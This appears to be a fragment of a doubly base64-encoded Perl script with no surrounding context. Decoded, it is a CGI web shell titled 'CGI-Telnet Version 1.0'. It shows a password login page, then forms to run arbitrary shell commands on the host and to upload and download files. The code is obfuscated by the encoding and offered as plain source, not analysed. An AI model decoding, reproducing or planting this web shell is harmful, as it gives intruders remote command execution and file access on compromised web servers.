bGVYMHBLVHNLQ1FrSkpHbHVleVJyWlhsOUlDNDlJQ1IyWVd3N0Nna0pmUW9KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0JJVkUxTUlGQmhaMlVnU0dWaFpHVnlDaU1nUVhKbmRXMWxiblFnTVRvZ1JtOXliU0JwZEdWdElHNWhiV1VnZEc4Z2QyaHBZMmdnWm05amRYTWdjMmh2ZFd4a0lHSmxJSE5sZEFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlFjbWx1ZEZCaFoyVklaV0ZrWlhJS2V3b0pKRVZ1WTI5a1pXUkRkWEp5Wlc1MFJHbHlJRDBnSkVOMWNuSmxiblJFYVhJN0Nna2tSVzVqYjJSbFpFTjFjbkpsYm5SRWFYSWdQWDRnY3k4b1cxNWhMWHBCTFZvd0xUbGRLUzhuSlNjdWRXNXdZV05yS0NKSUtpSXNKREVwTDJWbk93b0pjSEpwYm5RZ0lrTnZiblJsYm5RdGRIbHdaVG9nZEdWNGRDOW9kRzFzWEc1Y2JpSTdDZ2x3Y21sdWRDQThQRVZPUkRzS1BHaDBiV3crQ2p4b1pXRmtQZ284ZEdsMGJHVStRMGRKTFZSbGJHNWxkQ0JXWlhKemFXOXVJREV1TUR3dmRHbDBiR1UrQ2lSSWRHMXNUV1YwWVVobFlXUmxjZ284TDJobFlXUStDanhpYjJSNUlHOXVURzloWkQwaVpHOWpkVzFsYm5RdVppNUFYeTVtYjJOMWN5Z3BJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJaUIwYjNCdFlYSm5hVzQ5SWpBaUlHeGxablJ0WVhKbmFXNDlJakFpSUcxaGNtZHBibmRwWkhSb1BTSXdJaUJ0WVhKbmFXNW9aV2xuYUhROUlqQWlQZ284ZEdGaWJHVWdZbTl5WkdWeVBTSXhJaUIzYVdSMGFEMGlNVEF3SlNJZ1kyVnNiSE53WVdOcGJtYzlJakFpSUdObGJHeHdZV1JrYVc1blBTSXlJajRLUEhSeVBnbzhkR1FnWW1kamIyeHZjajBpSTBNeVFrWkJOU0lnWW05eVpHVnlZMjlzYjNJOUlpTXdNREF3T0RBaUlHRnNhV2R1UFNKalpXNTBaWElpUGdvOFlqNDhabTl1ZENCamIyeHZjajBpSXpBd01EQTRNQ0lnYzJsNlpUMGlNaUkrSXp3dlptOXVkRDQ4TDJJK1BDOTBaRDRLUEhSa0lHSm5ZMjlzYjNJOUlpTXdNREF3T0RBaVBqeG1iMjUwSUdaaFkyVTlJbFpsY21SaGJtRWlJSE5wZW1VOUlqSWlJR052Ykc5eVBTSWpSa1pHUmtaR0lqNDhZajVEUjBrdFZHVnNibVYwSUZabGNuTnBiMjRnTVM0d0lDMGdRMjl1Ym1WamRHVmtJSFJ2SUNSVFpYSjJaWEpPWVcxbFBDOWlQand2Wm05dWRENDhMM1JrUGdvOEwzUnlQZ284ZEhJK0NqeDBaQ0JqYjJ4emNHRnVQU0l5SWlCaVoyTnZiRzl5UFNJalF6SkNSa0UxSWo0OFptOXVkQ0JtWVdObFBTSldaWEprWVc1aElpQnphWHBsUFNJeUlqNEtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dVAyRTlkWEJzYjJGa0ptUTlKRVZ1WTI5a1pXUkRkWEp5Wlc1MFJHbHlJajVWY0d4dllXUWdSbWxzWlR3dllUNGdmQ0FLUEdFZ2FISmxaajBpSkZOamNtbHdkRXh2WTJGMGFXOXVQMkU5Wkc5M2JteHZZV1FtWkQwa1JXNWpiMlJsWkVOMWNuSmxiblJFYVhJaVBrUnZkMjVzYjJGa0lFWnBiR1U4TDJFK0lId0tQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dVAyRTliRzluYjNWMElqNUVhWE5qYjI1dVpXTjBQQzloUGlCOENqeGhJR2h5WldZOUltaDBkSEE2THk5M2QzY3VjbTlvYVhSaFlpNWpiMjB2WTJkcGMyTnlhWEIwY3k5aloybDBaV3h1WlhRdWFIUnRiQ0krU0dWc2NEd3ZZVDRLUEM5bWIyNTBQand2ZEdRK0Nqd3ZkSEkrQ2p3dmRHRmliR1UrQ2p4bWIyNTBJR052Ykc5eVBTSWpRekJETUVNd0lpQnphWHBsUFNJeklqNEtSVTVFQ24wS0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlFjbWx1ZEhNZ2RHaGxJRXh2WjJsdUlGTmpjbVZsYmdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlFjbWx1ZEV4dloybHVVMk55WldWdUNuc0tDU1JOWlhOellXZGxJRDBnY1NROGNISmxQanhtYjI1MElHTnZiRzl5UFNJak5qWTVPVGs1SWo0Z1gxOWZYMThnSUY5ZlgxOWZJQ0JmWDE5Zlh5QWdJQ0FnSUNBZ0lDQmZYMTlmWHlBZ0lDQWdJQ0FnWHlBZ0lDQWdJQ0FnSUNBZ0lDQWdJRjhLTHlBZ1gxOGdYSHdnSUY5ZklGeDhYeUFnSUY5OElDQWdJQ0FnSUNCOFh5QWdJRjk4SUNBZ0lDQWdmQ0I4SUNBZ0lDQWdJQ0FnSUNBZ0lId2dmQXA4SUM4Z0lGd3ZmQ0I4SUNCY0x5QWdmQ0I4SUNBZ1gxOWZYMTlmSUNBZ2ZDQjhJQ0FnSUY5Zlh5QjhJSHdnWHlCZlh5QWdJQ0JmWDE4Z2ZDQjhYd3A4SUh3Z0lDQWdmQ0I4SUY5ZklDQWdmQ0I4SUNCOFgxOWZYMTlmZkNBZ2ZDQjhJQ0FnTHlCZklGeDhJSHg4SUNkZklGd2dJQzhnWHlCY2ZDQmZYM3dLZkNCY1gxOHZYSHdnZkY5Y0lGd2dYM3dnZkY4Z0lDQWdJQ0FnSUNBZ0lId2dmQ0FnZkNBZ1gxOHZmQ0I4ZkNCOElId2dmSHdnSUY5Zkwzd2dmRjhLSUZ4ZlgxOWZMeUJjWDE5Zlh5OGdYRjlmWHk4Z0lDQWdJQ0FnSUNBZ0lGeGZMeUFnSUZ4ZlgxOThmRjk4ZkY5OElIeGZmQ0JjWDE5ZmZDQmNYMTk4SURFdU1Bb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvOEwyWnZiblErUEdadmJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JmWDE5ZlgxOGdJQ0FnSUNBZ0lDQWdJQ0FnUEM5bWIyNTBQanhtYjI1MElHTnZiRzl5UFNJalFVVTRNekF3SWo3Q3FTQXlNREF4TENCU2IyaHBkR0ZpSUVKaGRISmhQQzltYjI1MFBqeG1iMjUwSUdOdmJHOXlQU0lqUmtZd01EQXdJajRLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUM0dEpuRjFiM1E3SUNBZ0lDQWdKbkYxYjNRN0xTNEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdMeUFnSUNBZ0lDQWdJQ0FnSUZ3S0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCOElDQWdJQ0FnSUNBZ0lDQWdJQ0I4Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZkN3Z0lDNHRMaUFnTGkwdUlDQXNmQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSHdnS1NoZmJ5OGdJRnh2WHlrb0lId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjhMeUFnSUNBZ0wxd2dJQ0FnSUZ4OENpQWdJQ0FnSUNBb1FGOGdJQ0FnSUNBZ0tGOGdJQ0FnSUY1ZUlDQWdJQ0JmS1FvZ0lGOGdJQ0FnSUNrZ1hEd3ZabTl1ZEQ0OFptOXVkQ0JqYjJ4dmNqMGlJemd3T0RBNE1DSStYMTlmWDE5Zlh6d3ZabTl1ZEQ0OFptOXVkQ0JqYjJ4dmNqMGlJMFpHTURBd01DSStYRHd2Wm05dWRENDhabTl1ZENCamIyeHZjajBpSXpnd09EQTRNQ0krWDE4OEwyWnZiblErUEdadmJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBueEpTVWxKU1VsOFBDOW1iMjUwUGp4bWIyNTBJR052Ykc5eVBTSWpPREE0TURnd0lqNWZYend2Wm05dWRENDhabTl1ZENCamIyeHZjajBpSTBaR01EQXdNQ0krTHp3dlptOXVkRDQ4Wm05dWRDQmpiMnh2Y2owaUl6Z3dPREE0TUNJK1gxOWZYMTlmWDE5ZlgxOWZYMTlmWDE5ZlgxOWZYMThLUEM5bWIyNTBQanhtYjI1MElHTnZiRzl5UFNJalJrWXdNREF3SWo0Z0tGOHBQQzltYjI1MFBqeG1iMjUwSUdOdmJHOXlQU0lqT0RBNE1EZ3dJajVBT0VBNFBDOW1iMjUwUGp4bWIyNTBJR052Ykc5eVBTSWpSa1l3TURBd0lqNTdmVHd2Wm05dWRENDhabTl1ZENCamIyeHZjajBpSXpnd09EQTRNQ0krSm14ME8xOWZYMTlmWDE5ZlBDOW1iMjUwUGp4bWIyNTBJR052Ykc5eVBTSWpSa1l3TURBd0lqNThMVnhKU1VsSlNVa3ZMWHc4TDJadmJuUStQR1p2Ym5RZ1kyOXNiM0k5SWlNNE1EZ3dPREFpUGw5ZlgxOWZYMTlmWDE5ZlgxOWZYMTlmWDE5ZlgxOWZYeVpuZERzOEwyWnZiblErUEdadmJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBnb2dJQ0FnSUNBZ0lDbGZMeUFnSUNBZ0lDQWdYQ0FnSUNBZ0lDQWdJQ0F2SUFvZ0lDQWdJQ0FnS0VBZ0lDQWdJQ0FnSUNBZ0lHQXRMUzB0TFMwdExXQUtJQ0FnSUNBZ0lDQWdJQ0FnSUR3dlptOXVkRDQ4Wm05dWRDQmpiMnh2Y2owaUkwRkZPRE13TUNJK1Z5QkJJRklnVGlCSklFNGdSem9nVUhKcGRtRjBaU0JUWlhKMlpYSThMMlp2Ym5RK1BDOXdjbVUrQ2lRN0NpTW5DZ2x3Y21sdWRDQThQRVZPUkRzS1BHTnZaR1UrQ2xSeWVXbHVaeUFrVTJWeWRtVnlUbUZ0WlM0dUxqeGljajRLUTI5dWJtVmpkR1ZrSUhSdklDUlRaWEoyWlhKT1lXMWxQR0p5UGdwRmMyTmhjR1VnWTJoaGNtRmpkR1Z5SUdseklGNWRDanhqYjJSbFBpUk5aWE56WVdkbENrVk9SQXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1VISnBiblJ6SUhSb1pTQnRaWE56WVdkbElIUm9ZWFFnYVc1bWIzSnRjeUIwYUdVZ2RYTmxjaUJ2WmlCaElHWmhhV3hsWkNCc2IyZHBiZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCUWNtbHVkRXh2WjJsdVJtRnBiR1ZrVFdWemMyRm5aUXA3Q2dsd2NtbHVkQ0E4UEVWT1JEc0tQR052WkdVK0NqeGljajVzYjJkcGJqb2dZV1J0YVc0OFluSStDbkJoYzNOM2IzSmtPanhpY2o0S1RHOW5hVzRnYVc1amIzSnlaV04wUEdKeVBqeGljajRLUEM5amIyUmxQZ3BGVGtRS2ZRb0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRkJ5YVc1MGN5QjBhR1VnU0ZSTlRDQm1iM0p0SUdadmNpQnNiMmRuYVc1bklHbHVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUZCeWFXNTBURzluYVc1R2IzSnRDbnNLQ1hCeWFXNTBJRHc4UlU1RU93bzhZMjlrWlQ0S1BHWnZjbTBnYm1GdFpUMGlaaUlnYldWMGFHOWtQU0pRVDFOVUlpQmhZM1JwYjI0OUlpUlRZM0pwY0hSTWIyTmhkR2x2YmlJK0NqeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltRWlJSFpoYkhWbFBTSnNiMmRwYmlJK0NteHZaMmx1T2lCaFpHMXBianhpY2o0S2NHRnpjM2R2Y21RNlBHbHVjSFYwSUhSNWNHVTlJbkJoYzNOM2IzSmtJaUJ1WVcxbFBTSndJajRLUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtWdWRHVnlJajRLUEM5bWIzSnRQZ284TDJOdlpHVStDa1ZPUkFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0JtYjI5MFpYSWdabTl5SUhSb1pTQklWRTFNSUZCaFoyVUtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVUhKcGJuUlFZV2RsUm05dmRHVnlDbnNLQ1hCeWFXNTBJQ0k4TDJadmJuUStQQzlpYjJSNVBqd3ZhSFJ0YkQ0aU93cDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVW1WMGNtVnBkbVZ6SUhSb1pTQjJZV3gxWlhNZ2IyWWdZV3hzSUdOdmIydHBaWE11SUZSb1pTQmpiMjlyYVdWeklHTmhiaUJpWlNCaFkyTmxjM05sY3lCMWMybHVaeUIwYUdVS0l5QjJZWEpwWVdKc1pTQWtRMjl2YTJsbGMzc25KMzBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1IyVjBRMjl2YTJsbGN3cDdDZ2xBYUhSMGNHTnZiMnRwWlhNZ1BTQnpjR3hwZENndk95QXZMQ1JGVGxaN0owaFVWRkJmUTA5UFMwbEZKMzBwT3dvSlptOXlaV0ZqYUNBa1kyOXZhMmxsS0VCb2RIUndZMjl2YTJsbGN5a0tDWHNLQ1Frb0pHbGtMQ0FrZG1Gc0tTQTlJSE53YkdsMEtDODlMeXdnSkdOdmIydHBaU2s3Q2drSkpFTnZiMnRwWlhON0pHbGtmU0E5SUNSMllXdzdDZ2w5Q24wS0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlFjbWx1ZEhNZ2RHaGxJSE5qY21WbGJpQjNhR1Z1SUhSb1pTQjFjMlZ5SUd4dlozTWdiM1YwQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGQnlhVzUwVEc5bmIzVjBVMk55WldWdUNuc0tDWEJ5YVc1MElDSThZMjlrWlQ1RGIyNXVaV04wYVc5dUlHTnNiM05sWkNCaWVTQm1iM0psYVdkdUlHaHZjM1F1UEdKeVBqeGljajQ4TDJOdlpHVStJanNLZlFvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklFeHZaM01nYjNWMElIUm9aU0IxYzJWeUlHRnVaQ0JoYkd4dmQzTWdkR2hsSUhWelpYSWdkRzhnYkc5bmFXNGdZV2RoYVc0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdVR1Z5Wm05eWJVeHZaMjkxZEFwN0NnbHdjbWx1ZENBaVUyVjBMVU52YjJ0cFpUb2dVMEZXUlVSUVYwUTlPMXh1SWpzZ0l5QnlaVzF2ZG1VZ2NHRnpjM2R2Y21RZ1kyOXZhMmxsQ2drbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKd0lpazdDZ2ttVUhKcGJuUk1iMmR2ZFhSVFkzSmxaVzQ3Q2drbVVISnBiblJNYjJkcGJsTmpjbVZsYmpzS0NTWlFjbWx1ZEV4dloybHVSbTl5YlRzS0NTWlFjbWx1ZEZCaFoyVkdiMjkwWlhJN0NuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjBieUJzYjJkcGJpQjBhR1VnZFhObGNpNGdTV1lnZEdobElIQmhjM04zYjNKa0lHMWhkR05vWlhNc0lHbDBDaU1nWkdsemNHeGhlWE1nWVNCd1lXZGxJSFJvWVhRZ1lXeHNiM2R6SUhSb1pTQjFjMlZ5SUhSdklISjFiaUJqYjIxdFlXNWtjeTRnU1dZZ2RHaGxJSEJoYzNOM2IzSmtJR1J2Wlc1ekozUUtJeUJ0WVhSamFDQnZjaUJwWmlCdWJ5QndZWE56ZDI5eVpDQnBjeUJsYm5SbGNtVmtMQ0JwZENCa2FYTndiR0Y1Y3lCaElHWnZjbTBnZEdoaGRDQmhiR3h2ZDNNZ2RHaGxJSFZ6WlhJS0l5QjBieUJzYjJkcGJnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJRWlhKbWIzSnRURzluYVc0Z0Nuc0tDV2xtS0NSTWIyZHBibEJoYzNOM2IzSmtJR1Z4SUNSUVlYTnpkMjl5WkNrZ0l5QndZWE56ZDI5eVpDQnRZWFJqYUdWa0NnbDdDZ2tKY0hKcGJuUWdJbE5sZEMxRGIyOXJhV1U2SUZOQlZrVkVVRmRFUFNSTWIyZHBibEJoYzNOM2IzSmtPMXh1SWpzS0NRa21VSEpwYm5SUVlXZGxTR1ZoWkdWeUtDSmpJaWs3Q2drSkpsQnlhVzUwUTI5dGJXRnVaRXhwYm1WSmJuQjFkRVp2Y20wN0Nna0pKbEJ5YVc1MFVHRm5aVVp2YjNSbGNqc0tDWDBLQ1dWc2MyVWdJeUJ3WVhOemQyOXlaQ0JrYVdSdUozUWdiV0YwWTJnS0NYc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0p3SWlrN0Nna0pKbEJ5YVc1MFRHOW5hVzVUWTNKbFpXNDdDZ2tKYVdZb0pFeHZaMmx1VUdGemMzZHZjbVFnYm1VZ0lpSXBJQ01nYzI5dFpTQndZWE56ZDI5eVpDQjNZWE1nWlc1MFpYSmxaQW9KQ1hzS0NRa0pKbEJ5YVc1MFRHOW5hVzVHWVdsc1pXUk5aWE56WVdkbE93b0pDWDBLQ1FrbVVISnBiblJNYjJkcGJrWnZjbTA3Q2drSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzS0NYMEtmUW9LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZCeWFXNTBjeUIwYUdVZ1NGUk5UQ0JtYjNKdElIUm9ZWFFnWVd4c2IzZHpJSFJvWlNCMWMyVnlJSFJ2SUdWdWRHVnlJR052YlcxaGJtUnpDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUZCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTBLZXdvSkpGQnliMjF3ZENBOUlDUlhhVzVPVkNBL0lDSWtRM1Z5Y21WdWRFUnBjajRnSWlBNklDSmJZV1J0YVc1Y1FDUlRaWEoyWlhKT1lXMWxJQ1JEZFhKeVpXNTBSR2x5WFZ3a0lDSTdDZ2x3Y21sdWRDQThQRVZPUkRzS1BHTnZaR1UrQ2p4bWIzSnRJRzVoYldVOUltWWlJRzFsZEdodlpEMGlVRTlUVkNJZ1lXTjBhVzl1UFNJa1UyTnlhWEIwVEc5allYUnBiMjRpUGdvOGFXNXdkWFFnZEhsd1pUMGlhR2xrWkdWdUlpQnVZVzFsUFNKaElpQjJZV3gxWlQwaVkyOXRiV0Z1WkNJK0NqeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltUWlJSFpoYkhWbFBTSWtRM1Z5Y21WdWRFUnBjaUkrQ2lSUWNtOXRjSFFLUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUc1aGJXVTlJbU1pUGdvOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQjJZV3gxWlQwaVJXNTBaWElpUGdvOEwyWnZjbTArQ2p3dlkyOWtaVDRLUlU1RUNuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJRY21sdWRITWdkR2hsSUVoVVRVd2dabTl5YlNCMGFHRjBJR0ZzYkc5M2N5QjBhR1VnZFhObGNpQjBieUJrYjNkdWJHOWhaQ0JtYVd4bGN3b2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJRY21sdWRFWnBiR1ZFYjNkdWJHOWhaRVp2Y20wS2V3b0pKRkJ5YjIxd2RDQTlJQ1JYYVc1T1ZDQS9JQ0lrUTNWeWNtVnVkRVJwY2o0Z0lpQTZJQ0piWVdSdGFXNWNRQ1JUWlhKMlpYSk9ZVzFsSUNSRGRYSnlaVzUwUkdseVhWd2tJQ0k3Q2dsd2NtbHVkQ0E4UEVWT1JEc0tQR052WkdVK0NqeG1iM0p0SUc1aGJXVTlJbVlpSUcxbGRHaHZaRDBpVUU5VFZDSWdZV04wYVc5dVBTSWtVMk55YVhCMFRHOWpZWFJwYjI0aVBnbzhhVzV3ZFhRZ2RIbHdaVDBpYUdsa1pHVnVJaUJ1WVcxbFBTSmtJaUIyWVd4MVpUMGlKRU4xY25KbGJuUkVhWElpUGdvOGFXNXdkWFFnZEhsd1pUMGlhR2xrWkdWdUlpQnVZVzFsUFNKaElpQjJZV3gxWlQwaVpHOTNibXh2WVdRaVBnb2tVSEp2YlhCMElHUnZkMjVzYjJGa1BHSnlQanhpY2o0S1JtbHNaVzVoYldVNklEeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKbUlpQnphWHBsUFNJek5TSStQR0p5UGp4aWNqNEtSRzkzYm14dllXUTZJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pDWldkcGJpSStDand2Wm05eWJUNEtQQzlqYjJSbFBncEZUa1FLZlFvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGQnlhVzUwY3lCMGFHVWdTRlJOVENCbWIzSnRJSFJvWVhRZ1lXeHNiM2R6SUhSb1pTQjFjMlZ5SUhSdklIVndiRzloWkNCbWFXeGxjd29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCUWNtbHVkRVpwYkdWVmNHeHZZV1JHYjNKdENuc0tDU1JRY205dGNIUWdQU0FrVjJsdVRsUWdQeUFpSkVOMWNuSmxiblJFYVhJK0lDSWdPaUFpVzJGa2JXbHVYRUFrVTJWeWRtVnlUbUZ0WlNBa1EzVnljbVZ1ZEVScGNsMWNKQ0FpT3dvSmNISnBiblFnUER4RlRrUTdDanhqYjJSbFBnbzhabTl5YlNCdVlXMWxQU0ptSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElpQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSkZOamNtbHdkRXh2WTJGMGFXOXVJajRLSkZCeWIyMXdkQ0IxY0d4dllXUThZbkkrUEdKeVBncEdhV3hsYm1GdFpUb2dQR2x1Y0hWMElIUjVjR1U5SW1acGJHVWlJRzVoYldVOUltWWlJSE5wZW1VOUlqTTFJajQ4WW5JK1BHSnlQZ3BQY0hScGIyNXpPaUFtYm1KemNEczhhVzV3ZFhRZ2RIbHdaVDBpWTJobFkydGliM2dpSUc1aGJXVTlJbThpSUhaaGJIVmxQU0p2ZG1WeWQzSnBkR1VpUGdwUGRtVnlkM0pwZEdVZ2FXWWdhWFFnUlhocGMzUnpQR0p5UGp4aWNqNEtWWEJzYjJGa09pWnVZbk53T3ladVluTndPeVp1WW5Od096eHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkNaV2RwYmlJK0NqeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltUWlJSFpoYkhWbFBTSWtRM1Z5Y21WdWRFUnBjaUkrQ2p4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHNWhiV1U5SW1FaUlIWmhiSFZsUFNKMWNHeHZZV1FpUGdvOEwyWnZjbTArQ2p3dlkyOWtaVDRLUlU1RUNuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjNhR1Z1SUhSb1pTQjBhVzFsYjNWMElHWnZjaUJoSUdOdmJXMWhibVFnWlhod2FYSmxjeTRnVjJVZ2JtVmxaQ0IwYndvaklIUmxjbTFwYm1GMFpTQjBhR1VnYzJOeWFYQjBJR2x0YldWa2FXRjBaV3g1TGlCVWFHbHpJR1oxYm1OMGFXOXVJR2x6SUhaaGJHbGtJRzl1YkhrZ2IyNGdWVzVwZUM0Z1NYUWdhWE1LSXlCdVpYWmxjaUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdjMk55YVhCMElHbHpJSEoxYm01cGJtY2diMjRnVGxRdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHR